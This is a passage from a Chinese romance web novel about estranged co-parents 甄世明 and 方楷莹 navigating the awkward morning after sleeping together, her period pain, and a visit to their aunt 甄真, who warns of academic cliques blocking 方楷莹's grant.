甄世明是比她先醒来的,但他怕稍有动作就会惊醒她,一直看着莹白的指尖缓缓靠近脉搏,又看她迅速蜷回想要触碰的手指,慌慌张张躲到床底下。 偷情吗? 他皱了皱眉。 “爸爸,妈妈去哪儿了?” 甄世明微微起身,倚着床背轻觑床下那惊慌的脸色,方楷莹眉头紧拢连连摆手,甄世明转过头,对前来问询的孩子懒懒道:“去厨房看看,或者……书房?” 芯芯用力点点头,奶声奶气地说:“爸爸不要赖床了,快点起来做早餐,妈妈昨天带我们玩儿都累坏了。” 谁累坏了? 昨晚都是他用力伺候。 还做早餐? 没良心的人不配吃他的早餐。 芯芯哒哒哒跑开,方楷莹立刻站起来,在床上一通乱刨,把甄世明身上的被子也掀起来,“我的内裤呢?我的衣服呢?” 一阵凉意穿过他赤裸的身体,人更烦躁,眉头浅浅皱起,不耐烦道:“你失忆了?昨晚抱你上来的时候你就光着,睡衣在书房,内裤…”他故意道:“在书桌上吧?” 方楷莹跌坐在床尾,肩膀塌下去,垂头用手指捋顺头发,眼里的悔意向他昭示着昨晚是个绝对的错误。 甄世明的心忽然被扎了一下。 “你什么意思?” 刚才躲闪是什么意思?现在后悔是什么意思? 方楷莹捂住眼睛忏悔:“昨天我们还没有说清楚你就进来了” “可你没说不要,没有推开我,”甄世明向她展示脖子和锁骨的吻痕,“这些都是你主动亲的。” 方楷莹羞愧难当,“你昨天很冲动,当然我也很冲动,我我我很久没做了,脑子糊涂,太过饥渴,咱们都是成年人,明明可以用更好的方式解决问题……” 甄世明的脸色阴沉下来。 “不是说你错,我也有责任。”方楷莹主动承认错误,并提出补救的方法:“关于昨夜我们可以选择遗忘,当什么都没有发生过,或者可以达成共识,我们之间是一夜” 她看向甄世明凶狠的眼睛,自觉抿紧唇,她知道一夜情这三个字是甄世明最听不得的。 “很久没做,脑子糊涂,太过饥渴…”他玩味地把这话在嘴里念过一遍。 方楷莹倒吸口气,说:“我说错话了,我的意思是” “是不想对昨晚的行为负责,我知道了。”他眼尾微垂,冷冷说道:“你说得很清楚。” 甄世明脸上看不出喜怒,方楷莹见他没有发疯,稍稍放心,又劝解:“我是觉得我们只对孩子负责就好,尽力维持现状,不要把关系搞复杂了,你觉得呢?” 渣女。 他这么觉得。 甄世明压下火气,看似洒脱地点点头,不咸不淡地说:“同意,你不觉得吃亏就好。” “不吃亏,不吃亏。”她难得露出一个讨好的笑容,“我其实体验还行,虽然说你体力不如年轻那会儿,但是也够——” 甄世明彻底忍不了了,一轱辘翻起身来,向她吼道:“我昨晚跟你解释过了!我很多年没做过,第一次难免快点儿!后来不就久了吗?!” “你小声点儿……” 方楷莹抱住脑袋,自己也是完全懵住了,从睡醒到现在她都不知道自己在说什么东西,被他一吼倒是清醒了点儿,想起昨天他说结扎,不知道是真是假,更后悔了。 “你真的结扎了吗?”她犹疑问道。 甄世明没搭理她,说了她也不会信,干脆把去医院结扎的记录和今年的体检报告统统发过去。 结扎是方楷莹走之后的事了,孩子上了幼儿园小班,家里开始施压催他结婚,物色家境相当的姑娘要介绍给他,他当时应下,隔天就跑去医院结扎,小手术很快做完,下午他拿着医生的诊断回家,告诉家人说自己以后只有甄橙和甄芯两个孩子,不找后妈,也别耽误别人。 方楷莹看着诊断和报告,震惊得说不出话,沉默很久,才问: “为什么?” “遇见了,看上了,睡过了,怀上了,生下了,想想这一遭觉得麻烦。” 他起身穿衣服,不冷不热地说:“你不用觉得有压力,我跟你说了人是会变的,我现在不会逼着谁爱我,逼着谁和我结婚,我奉行不婚主义……你是自由的。” 方楷莹小声嘟囔:“那还是一夜情。” 不等甄世明再发作,她套上一件宽大衬衫要逃,酸软痉挛的大腿让人步履蹒跚,确实没脸说甄世明的体力,再持久一点她就该下不了床了。 看着方楷莹鬼鬼祟祟扶墙而出,甄世明又气又笑,换件衣服,还得下楼做早餐。 方楷莹回到自己卧室换下他的衬衫,穿好衣服又鬼鬼祟祟下楼去寻孩子,在楼梯转角碰到甄世明,他穿件高领毛衣,大部分吻痕都能遮住。 但方楷莹看着他下颌角的一片红痕,在心里暗骂自己:方楷莹啊方楷莹,你这个破嘴!怎么不亲人家脑门儿上啊?! 用手挡脸假装没看见,她扶着楼梯挪下楼去,在书房寻找到孩子。 芯芯正在书房站着,手里刚捡起她的睡衣,困惑地看着,另一只小手拇指和食指卡在下巴上做思考状,方楷莹眼疾手快,扑到书桌把内裤紧抓手里藏于背后。 “妈妈,你昨天晚上是在这儿睡的吗?”他明明记得妈妈在他身边睡,就穿这件睡衣。 方楷莹:“我昨晚…研究所突然有工作,我下来书房搞工作,太累了,所以就边脱睡衣边上楼睡觉,节省时间……” 这谎话她自己都编得无语,孩子竟然信了,芯芯把妈妈的睡衣睡裤都捡起来抱在怀里,说:“妈妈,睡衣不要乱丢哦,丢在地上有细菌,我去让爸爸给你洗。” 说完芯芯又噔噔噔跑开,方楷莹听见孩子跑去厨房和甄世明说:“爸爸,妈妈昨天晚上搞工作太累了,睡衣也弄脏了,你帮忙洗洗好咩?” “行,去放进洗衣筐。” 孩子听不出来,可方楷莹离老远就听到甄世明咬牙切齿,自觉走到厨房,低声对甄世明说:“不用不用,我自己洗就好。” “谁说要给你洗了?你去端牛奶,我上楼看看橙橙怎么还没醒。” “哎,行行行。”方楷莹点头似啄米。 甄世明垂眼,看着方楷莹手里紧握的内裤,伸出手说:“给我,洗了手再端牛奶。” 她犹犹豫豫,伸手递给他,客客气气说:“放洗衣筐里就行,谢谢您。” 甄世明上楼,方楷莹才呼了一口气,立在岛台旁等牛奶热好。 等了很久甄世明才拉着橙橙的手下楼,孩子累了赖床,现在还睡眼惺忪,几个人起得都晚,凑合吃牛奶面包和水果沙拉。 橙橙和芯芯磨磨蹭蹭吃饭,问:“是不是迟到就不用去幼儿园啦?” “快吃,”甄世明面无表情,看不出喜怒,“去晚了老师打你屁股开花。” “那我就把屁股上开的花送给妈妈。”橙橙嬉皮笑脸地说。 芯芯观察仔细,看到爸爸下颌处的红痕,问:“爸爸,你是不是昨晚喝了太多酒?” “嗯?” “这里红红的。”芯芯指着自己的小脸。 “哦,这是”甄世明看向方楷莹,挑眉说:“你妈妈种的草莓。” “噗!” 方楷莹差点把牛奶喷在甄世明脸上,咳嗽不止,脸憋得通红,甄世明淡定地递了张纸巾。 “妈妈会种草莓?”芯芯懵懂地问。 橙橙抢答道:“妈妈是厉害的科学家,什么都会!这是拿爸爸做实验,到时候爸爸的脸上就会发芽长出草莓,妈妈什么时候用我做实验?” 方楷莹:“……” 甄世明淡淡地提醒:“这个是我们家的小秘密,不许告诉幼儿园的小朋友和老师,尤其是你,橙橙。” “哦,知道了。”橙橙乖乖点头。 孩子的异想天开甄世明句句有回应,吃过早饭甄世明送孩子去上学,方楷莹挨个儿亲亲孩子的脑门送别。 芯芯问:“妈妈,真的不一起走吗?” 方楷莹靠着楼梯扶着腰,“妈妈上午在家歇会儿,搞工作太累了……” 甄世明浅浅看她一眼,冷着脸走了。 他们走后,方楷莹上楼去打算洗衣服,发现洗衣筐里空无一物,一偏头,阳台晾着刚洗过的睡衣,还有她的白色纯棉高腰裆部加长版内裤。 第45章 方楷莹决定居家休息一天, 刚重新躺下,蓝梦就打来电话问候。 “你昨天不是说如果今天失联了让我救你吗?我今天听你声音怎么这么虚弱,不会和甄世明吵了一夜吧?”蓝梦关切地问道。 方楷莹:“……” 怎么和蓝梦解释呢? 告诉她昨天和甄世明面对面吵了一架, 然后意识到双方都恨得不行, 又把舌头放进嘴里对抗,最后滚到床上光着身子打了一架吗? “嗯”方楷莹心虚地回答。 不用过多赘述, 蓝梦已经脑补出他们吵架的样子, 一定是甄世明汪汪狂吠,方楷莹默默承受。 于是蓝梦在电话里痛骂:“昨天你带着孩子刚走,我就收到甄世明的微信了, 用词特别激烈, 定性特别恶劣!他还威胁我, 说以后再带着你学坏,就把我卖奢侈品的事宣扬出去, 让我在圈儿里抬不起头,你说这人混蛋不混蛋?!” “什么圈儿?”方楷莹不解, 买卖奢侈品不是正常的交易行为吗? “京城贵妇圈儿啊!”蓝梦愤愤道:“让这帮闲人知道了那可不得了, 我的面子往哪儿搁,秦赫的面子往哪儿搁呢。” 方楷莹难以理解, 蓝梦都要闹着离婚了, 怎么还在乎秦赫的面子? “你到底混哪个圈儿的?” 蓝梦嘿嘿一笑, 波浪卷发一撩,说:“学术圈贵妇圈都混, 不管哪个圈儿我都不能跌份儿不是?” 方楷莹:“” 听着蓝梦在电话里细讲圈儿里那些门道, 方楷莹却走神,思考今后和甄世明共处一室难免尴尬,他一定会故意提起昨晚让她脸红, 而且经此一战她已经确定自己无法抵挡男.色诱惑,说不准会再次擦枪走火,绝不能将错就错! “我打算今天搬回去住。”方楷莹说。 蓝梦沉默片刻。昨天甄世明发来微信问罪,蓝梦道了歉,甄世明还不得理不饶人,最终让蓝梦答应他一定会死死霸占方楷莹的“贫民窟”,绝不让方楷莹重新搬回去。 “额”蓝梦一边暗骂这孙子算得也太准了吧,一边绞尽脑汁想理由,“莹莹,我最近要准备申博的材料,人忙着也没时间帮你修复房子,你在山顶别墅先委屈一段时间,我忙完这段时间,给你把房子翻修一遍,焕然一新你再回来,现在家里电视还坏着呢” “没关系,我不看。”方楷莹说。 蓝梦暗自跺了跺脚,忘了方楷莹不爱看电视,又找别的理由:“我这段时间还要准备面试,你这地方真好,品质社区精英聚集,电梯里都是知识分子气息,不像秦赫那个社区,都是金钱的臭味儿,所以我想常住” “我在正好能帮你准备面试,你想常住就睡儿童房,只是如果橙橙和芯芯要过去住的话你也可以和我睡主卧。” 蓝梦看方楷莹想搬回家的心还挺坚决,只好使出最后一招,说:“那行,你今天回来吧,上次刚和你讲到第一次见秦赫他妈,你就跑了,我今儿晚上再买点啤酒接着跟你讲,畅聊整晚的话,大概能讲到我和秦赫订婚那天。” 方楷莹:“” 突然又觉得没那么着急了。 “那个…过两天在说吧,等你情绪变好话变少的时候我再回去,拜拜!”方楷莹挂断电话。 两边都舒出一口气。 方楷莹在家躺了一上午,身体情况也并没有好转,依然腰酸腿疼小腿肚转筋,虚弱是因为很久没有经历如此激烈的性.爱,自不量力以为自己能承受,现在感觉整个人快废了。 精神风貌也萎靡,思想完全不在正轨,看感兴趣的文献都会短暂走神,她不敢承认是在回味,但确实走神都是在想甄世明。 想起甄世明迷情的眼睛,腹肌绷紧的线条,握上去滚烫的触感,她无心工作,关掉电脑又瘫在床上,侧躺着都觉得有东西流出来似的,去卫生间一看,来月经了 好色只是月经来前的征兆。 她这样想。 — 甄世明满面春风,神采飞扬,成年人打眼一看就知道这是昨晚做过爱的男人。 送孩子去上学的一路他都轻声哼歌儿,芯芯观察他很久,见爸爸心情好,怯生生地说:“爸爸,你别生妈妈的气,昨天是我们要去蓝梦阿姨家做客的,不是妈妈带我们…偷…” 甄世明从后视镜里看去,低头认错的小孩皱眉噘嘴,可爱的小表情让他的心又变得柔软,“芯芯,我知道你们是好孩子,最近幼儿园在学《弟子规》:用人物,须明求,倘不问,即为偷,你觉得偷东西这种行为对吗?” “不对。”芯芯小声说。 可橙橙并不这样认为,抱着手臂反驳道:“可那些漂亮的项链和包包本就是蓝梦阿姨的,秦赫叔叔送出去,就是蓝梦阿姨的,她可以一直用也可以拿出来卖掉不是吗?是因为他们结了婚,所以送出去的礼物就不是蓝梦阿姨一个人的了吗?” “额” 小孩子的想法很单纯直接,但有时候大人就是没有反驳的理由,因为橙橙说的确实有道理。 “爸爸,你说话呀。”橙橙睁着真诚的大眼睛等答案。 “你说得也对,那些东西确实是蓝梦阿姨的,她有卖掉的权利。” “那爸爸为什么说妈妈带我们偷?” 甄世明若有所思。 说到底,是他多年未见方楷莹,对她有戒心,有怨气,觉得她都不爱他,怎么会爱和他一起生下的孩子?她都五年没见孩子,怎么就能教好孩子?这是一种从内心深处涌出,但不愿意承认的不信任,所以在突发事件来临的时候,他会做出下意识的埋怨反应。 “这件事爸爸也有错,可能是爸爸把妈妈想得太坏不是,把问题想得太严重了,我应该相信你们是好孩子,也应该相信妈妈爱你们” “我觉得妈妈很爱我们。”芯芯抬高声音说。 “我也觉得!”橙橙更高声应和。 送下孩子之后,甄世明约秦赫喝醒酒茶,顺便和好兄弟分享一下最新感悟。 “我觉得,蓝梦和你离婚是因为你不够包容。”甄世明捏着茶盏啜饮,闲闲地说:“我的惨痛教训你得积极吸取,她想读博就让她读,她以后想干一番事业你也让她干,贤夫先扶青云志,然后再给万两金,你们的婚姻出现问题,我觉得是你把顺序搞反了,蓝梦壮志未酬,心里肯定对你有怨气。” 秦赫茶杯一放,说:“你没事儿吧?” “我能有什么事儿?”甄世明别头躲闪目光,下颌角的吻痕依然清晰可见。 “哦~”秦赫阴阳怪气道:“昨天你从我家里走时气势汹汹的,我还以为你回去要跟方楷莹掐架呢,没想到让人家睡服了,今儿还敢特意过来炫耀?还帮敌方阵营说话?” 甄世明脸一红,指背温柔地蹭过下颌吻痕,压住唇角的笑意,清了清嗓:“瞎说什么呢?不过你最近这事儿我有启发,我现在就发个社交网络动态,让姓汪的看看,时不时震慑一下,免得像蓝梦前男友似的死灰复燃。” 他拿出手机随手自拍,英秀的脸线条流畅,深邃眉宇之间透着餍足懒倦,微微侧脸,界限模糊的吻痕与凌厉的下颌线互相衬托,一看便是刚从床上下来的浪子。 编辑内容,发送社交网络。 【吻痕(有炫耀的意思)】- 甄世明像野蝴蝶似的飞了一天,到点儿去幼儿园接孩子,回家路过甜品店,进去给方楷莹和孩子都买了喜欢口味的蛋糕。 回家之后把蛋糕摆好,让孩子上楼叫妈妈,橙橙跑得比芯芯快,他迅速窜上楼又垂丧脑袋走下来,噘起小嘴说:“妈妈还在睡觉呢。” “哦,妈妈可能太累了,你们先吃。”他把方楷莹的蛋糕收起放进冰箱,“这个是妈妈的,不能吃。” 吃过蛋糕,甄世明不许他们在家里吵,围上小围脖带出外面玩儿自行车,回来之后方楷莹还没下楼,他给了芯芯一个魔方,给了橙橙一个画板,孩子安静下来之后他上楼推开方楷莹的房门。 方楷莹侧躺在床,身子蜷缩,被子捂脸,只有一截黑发尾露在外面,床头柜旁放着一板布洛芬药片。 甄世明轻轻把被子从她头顶拉下来,发现她身上的汗浸湿了头发,黏黏糊糊地粘在脸上,两道细眉紧蹙,呼吸也比平时急了几分。 “来月经了?” 方楷莹意识模模糊糊,点了点头。 “吃过药了?” “嗯,孩子呢?” “接回来了,楼下玩儿呢。” “你去陪他们吧。” “那你呢?” “我不需要人陪。” 方楷莹生下孩子一个月后出国,三个月后再来月经,痛经的情况并没有因为生育而缓解,第一次再来时在床上痛得打滚晕厥,被室友安妮发现叫救护车送去医院,要说她在国外最难熬的时段,大概就是每个月的经期,她开始意识到以后不会再有人在经期对她贴心照顾。 很多习惯都是可以改的,就像她后来也改掉依赖的习惯,一个人吃药睡几小时,能扛过最难受的时刻。 现在如果甄世明不在她身边,她是不会怀念的,而甄世明在她身边,她就不会承认怀念。 谈恋爱时她来月经,最依赖的就是甄世明,他的身体和手掌温度都高,像永不失效的恒温暖宝宝,贴在小腹特别温暖,他学了中医按摩手法,在腹部小范围按揉透热,脆弱的时候靠进他怀里,会让方楷莹有回到母体的可靠的安全感。 特别特别怀念。 但她说不需要人陪。 听见甄世明淡淡地哦了声,她闭上眼睛,重新钻进被子里,模模糊糊听到门重新关上的声音,在心里默默叹气,又睡得迷迷糊糊,不知道过了多久,但应该没有多久,一个怀抱将她揽入,一双温热的手掌覆在腰腹。 “你干什么?”方楷莹意识不清晰地推拒。 “别动。”甄世明淡声,语气不容置喙。 贴着肌肤的身体太温暖,让她再也无法扭动身体躲开,甚至还往怀里钻了钻,让彼此能贴得更紧密。 “孩子呢?”她又问。 “让早睡了。”他答。 方楷莹垂着眼睫,脑袋歪靠着他的胸口,衣领散出熟悉的香味让人心安,手掌温热润泽的触感让她的痛感减轻些许。 甄世明学过的手法还没忘干净,手掌顺时针轻摩小腹,把手心的热量递给皮肤,过程中触到肚脐以下剖腹产的伤疤,他的动作忽然顿住,指腹沿着细条条的伤疤缓缓挪动,仿佛在测量他给方楷莹带来的伤害到底多深重长远。 方楷莹当然能感觉到指尖在她的伤疤徘徊,但冰凉的手还是放在他的腰侧紧贴,就好像有的人不在身边就不会想,但拥进怀里就想抱紧,心是软的,嘴是硬的,她说:“你不用这样。” 甄世明浅淡地笑了笑,下巴低下轻轻贴住她的发顶,看着她长直的眼睫覆住眼底的淡青,心里疼得什么似的,嘴上却也不饶人:“我昨晚和你睡觉,今天就别管你吗?不用觉得有压力,这是人道主义关怀,你今天痛死了,我孩子没妈了。” 虚弱的方楷莹:“我谢谢你。” 他却忽然说:“对不起。” “为什么道歉?” “为我曾经没有告诉你怀孕的事儿。” 方楷莹沉默片刻,问:“真心的吗?” 他想了想,反问:“如果当时告诉你了,是不是就没有橙橙和芯芯了?” 方楷莹仔细思考之后,翕动干燥的嘴唇,说:“这可能很大。” “那我的道歉不是真心的。”他把方楷莹揽紧了些,呐呐地说:“我无数次感激橙橙和芯芯降生,所以现在我即便知道错了,可以用任何方式跟你道歉补救,但你要问我回到当时还会不会那样做,会的。” 现在说什么都晚了,她从来只相信事实,当事实已经发生时,就不再构建虚假的幻想,方楷莹无奈苦笑,指甲掐住男人的腰侧肌,用湿润的眼睛看他,薄情的嘴唇骂他:“执迷不悟的混蛋。” 甄世明没有躲闪,没有喊痛,只顾着心疼那疲弱的声音,手指插进发间,把被汗浸湿的鬓发拨开,他平静而可靠地说:“我更喜欢你生龙活虎和我吵架,惹我生气的样子,今晚我在这儿陪着你,想明天见证方教授满血复活,成吗?” 方楷莹点头,两人相拥入眠。 明天又是新的一天。 第46章 甄世明在方楷莹例假期间勤勤恳恳照顾, 也再没提过他们上床的事,方楷莹觉得如果是这样,在山顶别墅再住段时间也行, 于是把搬家计划暂时搁置。 那段时间蓝梦去见了导师, 但没得到想要的结果,她的硕导将她数落一通, 又说人上了岁数, 不想再带博士,但答应给她写推荐信。 硕导也推荐蓝梦去读甄真教授的博士,还建议她考虑申请方教授的博士, 可蓝梦这人太好面儿, 不愿意同学好友变导师, 但厚着脸皮来找方楷莹帮忙美言几句是可以的。 方楷莹早就答应帮她的忙,也打算去拜访一下甄真教授, 就把这事儿提上日程,两个孩子听到姑奶奶的名字, 喊着要让妈妈也带他们去。 “你们经常去吗?”方楷莹问。 橙橙点头, 嬉皮笑脸地说:“姑奶奶可喜欢我们啦,她养了一只小狗, 姑姑会经常带着我们去和小狗玩儿。” 芯芯抚摸着妈妈润亮的头发, 用两只小手当皮筋给妈妈扎两股辫, 一边说:“是一只小西施犬,特别漂亮, 有两个小辫儿挂在耳朵, 就像这样。” 方楷莹:“那爸爸呢?” “爸爸是一只比格犬,动不动就吵人。”芯芯调皮地吐吐舌头,“这是姑奶奶说的。” 方楷莹:“我是说爸爸经常去看望吗?” “哦, 爸爸从来不去,过年才和姑奶奶见面,也不怎么说话。”芯芯低声着说,小小的孩子已经知道大人之间关系有好有坏,就像他能感觉到爸爸和妈妈的关系最近有点儿微妙。 尤其是妈妈,总躲着爸爸。 方楷莹短短叹气,晚上甄世明回家,孩子们在客厅里开着赛车互相追逐,她缓缓挪步到厨房,和他说要带孩子去拜访甄真教授的事。 甄世明正做饭切菜,手里的菜刀停了一下,又继续切菜,只说:“行。” “你要一起去吗?”方楷莹试探道。 “不了,我那天有事。” 方楷莹:“可我还没说哪天去” 甄世明脸色并不好,定定看她,说:“我有事。” 方楷莹:“”- 日光充足的午后,方楷莹领着两个孩子,带上几件礼品,三个人按响甄真家里门铃。 甄真没结过婚,当年最年轻的教授现在也四十奔五,始终一人独居,住三百多平米的大平层,客厅摆着瑜伽垫,养一只小型犬,内心富足,日子潇洒,打眼一看分辨不出年纪。 门铃一响,钢琴声停,小狗叫唤。 真公主身披羊绒披肩开门,可爱的小西施犬在她脚下探头探脑。 “老师好。”即便方楷莹现在自己也当了教授,但是对老师的敬畏刻在骨子里,站在门外面容庄严,后背直挺挺的。 甄真先看到她身后的两个孩子,两个小孩每人手里提着一件礼品,在方楷莹腰后探出机灵的小脑袋。 她弯腰伸手,指尖优雅地点了点橙橙和芯芯的脑门儿,像观音菩萨对泼猴似的,“捣蛋鬼又来了?” 橙橙大笑起来露出两排洁白小米牙:“嘻嘻,姑奶奶下午好!” 芯芯的注意力全在小狗身上,进门问好放下礼品,就把小手在衣服上搓了搓,又羞涩地伸出双手,脸蛋儿红扑扑,低声跟大人说:“想抱小狗。” 方楷莹带孩子们洗了手,甄真给孩子们榨了橙汁,两人看着小孩趴在地毯上逗弄小狗,相视一笑。 方楷莹不懂人情世故,之前来拜访那次全听汪先生和甄真畅聊,这次坐在沙发,她干巴巴问了几句“最近怎么样”“身体怎么样”,甄真都说“好”,然后便彼此沉默下来。 她低着头攥着手,坐在沙发时不时挪动两下后背,午后的日光晒得人出了汗。 “沙发上有钉子?”甄真问她。 “没、没有。”她又坐得板板正正。 “有事儿说事儿。”甄真倚在沙发一侧,保持着慵懒的贵妇姿势。 方楷莹把蓝梦的具体情况统统告知,从教育背景说到参与科研项目经历、学术论文发表、所获荣誉奖励,基本上把蓝梦的简历背了一遍。 “蓝梦?我记得,当年和我一起帮助你出国的那个姑娘,挺机灵,又泼辣。”甄真回想起来眉眼含笑,“听说后来嫁给秦家那个独生子,当上地产大亨家的少奶奶了?” “嗯…她现在想继续读博,请我帮忙问问您最近有没有带博士的意向,所以” “所以你就坐在这儿给我背简历?” “嗯。”方楷莹有点儿尴尬。 甄真对蓝梦有点儿兴趣,毕竟能让她记住的人不多,“她之前怎么不读了?我记得她的硕士导师很喜欢她,开什么学术会议都带着,逢人就介绍她那爱徒,看那样子有让她传承衣钵的想法啊。” 方楷莹面露难色,想了半天,支支吾吾说:“因为爱情?” 甄真掩住嘴笑得披肩都掉了,人差点儿从沙发上摔下来,孩子和狗一起呆愣愣看着她,方楷莹心里更没底了。 她笑了好一会儿才重新整理披肩,调侃道:“因为爱情,那我拒绝她的话,她应该也不会轻易悲伤吧?” 方楷莹不懂甄真的幽默,跟着尬笑两声。 “我以为你来找我是为着你的事儿,没想到是为了别人。你回去告诉蓝梦,我对她有意向,她可以申请,但我严格,对博士生更严格,敢跟我说因为爱情如何如何,我让她十年毕不了业。” 甄真嘴硬心软,这好像是他们甄家一脉相承的特点,方楷莹是知道的,点了点头,露出腼腆笑容,替蓝梦保证:“不会的,她现在每天都在准备资料和面试。” 甄真高傲地乜了一眼,说:“这事儿就先这么定下,你就没什么事儿?” “我?”方楷莹黑亮的眼珠转来转去,仍是不解:“我有什么事儿?” “啧,我看你身上事儿不少。”甄真的目光探向两个孩子,橙橙正抱着狗,芯芯拿小梳子小心翼翼给西施犬梳头。 “上次跟你来我家的那人是”甄真的手指按了按太阳穴,“叫什么名儿?好像跟狗有点儿关系。” “汪”方楷莹提醒。 “哦对,汪。你们打算什么时候…结婚?”甄真有意放低尾音,怕两个孩子听到。 “嗯分手了。” “分手了?为什么?” 方楷莹有口难言,很官方地说:“嗯…感情不合…” 甄真怎么说也多活这些年,看方楷莹表情就知道没那么简单,再看看两个孩子,问:“甄世明从中作梗了?还是他在意你有孩子?” 方楷莹轻挠额角,不好意思地说:“大概…都有吧。” “唉,孽缘。”甄真叹息道。 “你说当年怎么就这么赶巧,偏偏我刚劝你分手,你家里就出了大事,人还怀孕了,我帮你出国的事儿,甄世明知道以后就再没理过我,头一两年不让我见孩子,说那混账话都不是侄子该和姑姑说的。我从小看着他长大,心狠的时候是真心狠,这都几年了,你都回来了,他还跟我记仇呢。” 甄真没有孩子,打心眼里疼爱甄家这几个有血缘关系的孩子,没血缘关系的晚辈大概也只心疼方楷莹,他们两个共同的孩子,自然是隔辈更亲。 但甄世明向来记仇,每次两个孩子都是甄宝珠偷偷带来,甄真心里明白,甄世明肯定每次都知道孩子去哪儿,只是谁都觉得自己占理,也没想着修复关系,一直僵着。 再提起从前,方楷莹总是下意识沉默,很久之后才张了张嘴,“现在这样儿,也挺好的,我现在回国了,也能见到孩子,以后打算陪他们慢慢长大。” “那个人问题呢?你怎么考虑的?”甄真试探着问道。 方楷莹摇摇头,她没有那么多心思,在感情这方面一直被动,稍有变动便是一团糟糕。 现在和甄世明的关系还算和平,只想着能维持现状最好,但她自己也隐隐感觉,这样维持不了多久,说不准那一天就会崩塌,那些过往伤害的余威还在两人心里盘桓,让人不敢往前,也无法后退。 甄真又叹气,看着两个孩子在地上撒欢儿,觉得自己真是老了,竟然想劝他们为了孩子凑合在一起过,“不管怎么说,你是妈妈他是爸爸,你们两个关系好,孩子才能更幸福,现在世明也比以前更成熟了” 她忽然又想起什么,改口说:“也不完全成熟,家里催他结婚他就去医院结扎,这事儿你知道吗?” 方楷莹脸一红,点了点头。 “他告诉你的?”甄真来了兴趣,唇边泛起笑意,问:“还是听别人说的?” 方楷莹:“……他说的。” 这种事关于隐私,还能听谁说? 甄真脸色神秘,眼神里透着要分享八卦的狡黠,“那你肯定不完全知道,他把人家医生开的诊断发家族群里不说,还给贴在甄家大门口了,跟公示栏似的,这个傻玩意儿快把他妈、我嫂子气死了!”甄真说完自己乐了,“这事儿也就他没皮没脸能做得出来,你说这人多浑?!” 听甄真的描述,方楷莹差不多能想象到,甄世明是如何面不改色到处宣传男性结扎方便快捷,号召家族里没有生育计划的男性都行动起来! 方楷莹想到就低着头笑。 笑着笑着,门铃又响。 甄真款款起身,说“我家里今天够热闹的”,顺着猫眼儿一看,这人啊,真不经念叨- 甄世明空抱着两手,站在门外。 “你就空着手来啦?”甄真揶揄。 甄世明梗着脖子,偏了偏头,说:“我来接我儿子。” 让进门,西施犬开始朝他汪汪地叫,甄真打趣道:“你看,总不登门,你妹妹都不认识你了。” 甄世明唇角抽动,挺大个人绷着脸跟西施犬瞪眼,方楷莹想起刚才甄真讲的趣事,禁不住又笑了。 “你笑什么?” “没、没什么。” 孩子们见到爸爸,惊呆了几秒钟,又舍不得回家,坐在地毯上抱着狗沉默,眼睛时不时看向妈妈。 方楷莹起身打算走,甄真拦住说:“你今儿要不来,估计他也不来,既然来了,就留下吃饭吧,我还有事儿没跟你谈完。” 她还没想好留不留,甄世明先阴阳怪气:“您会做饭吗?就让人留下吃饭?” “我不会,我侄子会。”甄真作为长辈,使唤起晚辈来从容顺手,“肉和蔬菜都在冰箱,你看着做点儿什么都成。” 甄世明看向方楷莹,方楷莹看向俩孩子,孩子们又看向西施犬,西施犬朝他瞪眼。 “得。” 甄世明叹气,进了厨房。 方楷莹稳坐沙发聊天吃水果,偶尔偏头看向厨房。 他这些年照顾孩子,做辅食做营养餐,学了一手说得过去的厨艺,做起饭来不慌不忙,动作行云流水,系着围裙摘菜,认真眉目显得此人宜室宜家,起火颠勺,内里的黑衬衫又被紧实的手臂肌肉绷紧。 方楷莹忽然觉得,饿了。 甄真过去探厨,拤着腰故意问他:“不是说以后不相往来吗?今天怎么又往这儿来了?” “我怕她再跟您聊两句,这次带着我儿子走了,到时候我跟谁要人去?”甄世明哼了声,鸡翅骨头一抽,以示不满,“您别再跟她说有的没的,让我多活几年,成吗?” “瞧你这小心眼儿劲儿,”甄真捡起葱甩他后背:“我可是你亲姑姑。” “呵,没看出来。”他仰脖探头,到处瞭望:“我姑姑在哪儿呢?我怎么看不着?” 方楷莹偷偷看着两个人,在厨房没吵架,就让她放心不少。 饭桌上,甄世明话很少吃得也少,顾着监督两个孩子吃饭。孩子们一边吃饭,一边忍不住把小手伸到桌下偷偷喂小狗吃菜,被甄世明喊了两嗓子后,小孩和小狗都乖了。 方楷莹和甄真边吃边聊,她能看得出甄真也很想念甄世明,虽然都不说,但甄真这顿饭吃得顺心顺意,和甄世明喝了点红酒,脸色也比下午更加红润透亮。 毕竟是家里人,就算有矛盾,给个台阶,吃一顿饭,就能化解一半儿。 方楷莹很喜欢这种其乐融融吃饭的感觉,愿意看到在她心里有分量的人都能和睦相处。 早在研究生阶段她就把甄真看成人生导师,如果不是甄真说了那番话,她也不会去思考自己要去到什么高度,她发自内心感激,但不愿看到甄真为了她和家里人闹僵。 这样就很好。 饭间,甄真除了开甄世明的玩笑,也认真询问方楷莹最近在研究什么。 “我最近在带博士生,也写了新项目的经费申请报告,已经提交上去在等审核。”方楷莹说。 甄真看她一眼,摆摆手,意味深长地说:“你这方向通过不了,经费拨不下来。” “为什么?” 方楷莹与甄世明同时开口。 作者有话说:因为爱情,不会轻易悲伤。 ——来自歌曲《因为爱情》 (怕年轻读者不懂乔姐的幽默~) (解释完好像更不幽默了~) 第47章 “为什么?” 方楷莹与甄世明同时开口, 只是一个懵懵懂懂,一个语气生硬。 甄真放下筷子,端详方楷莹那一无所知的脸, 无奈地轻轻叹息, “你回国之后招博士生,是不是拒绝了李副院长极力推荐的人选?” “嗯, 我是婉拒了他。”方楷莹解释道:“因为当时学生名单已经定下了, 而且他推荐的人选并不优秀。” 甄真深深闭上醉眼,唇角向下弯去,不知道该怎么说她, “楷莹, 你刚回国, 不懂这里面的门道,李副院长是课题评审团里的泰斗, 掌握着很多项目和资源,扶持过的教授现在也基本纳入专家团。” “有一部分国家课题的研究方向都是专家团分析研究, 很多时候是先有方向, 再组建团队,你猜这些组建团队、申请基金的教授有多少是嫡系学生?这些人只需要邀请评审团的专家泰斗, 开几次学术研讨会, 得到他们的“指导”, 经费的事儿就基本算是成了。你能懂我的意思吗?” “不懂。”方楷莹摇头。 甄世明好像有点儿懂了,“内定。” 甄真白他一眼, 说:“这叫学阀。是一颗盘根错节的大树, 掌握资源的人就是扎实的根,而那些年轻的教授就是人家开的枝散的叶,楷莹刚回国时, 人家李副院长是欣赏的,主动抛出一个小橄榄枝试探,结果呢?” 她一摊手,又比了个刀斩马下的手势,“你一斧子给劈断了,人家肯定就不能拿你当自己人了,所以我说,你身上事儿还多着呢,信不信?以后如果还有利益纠葛,排挤、打压那都在所难免,你得做好心理准备。” 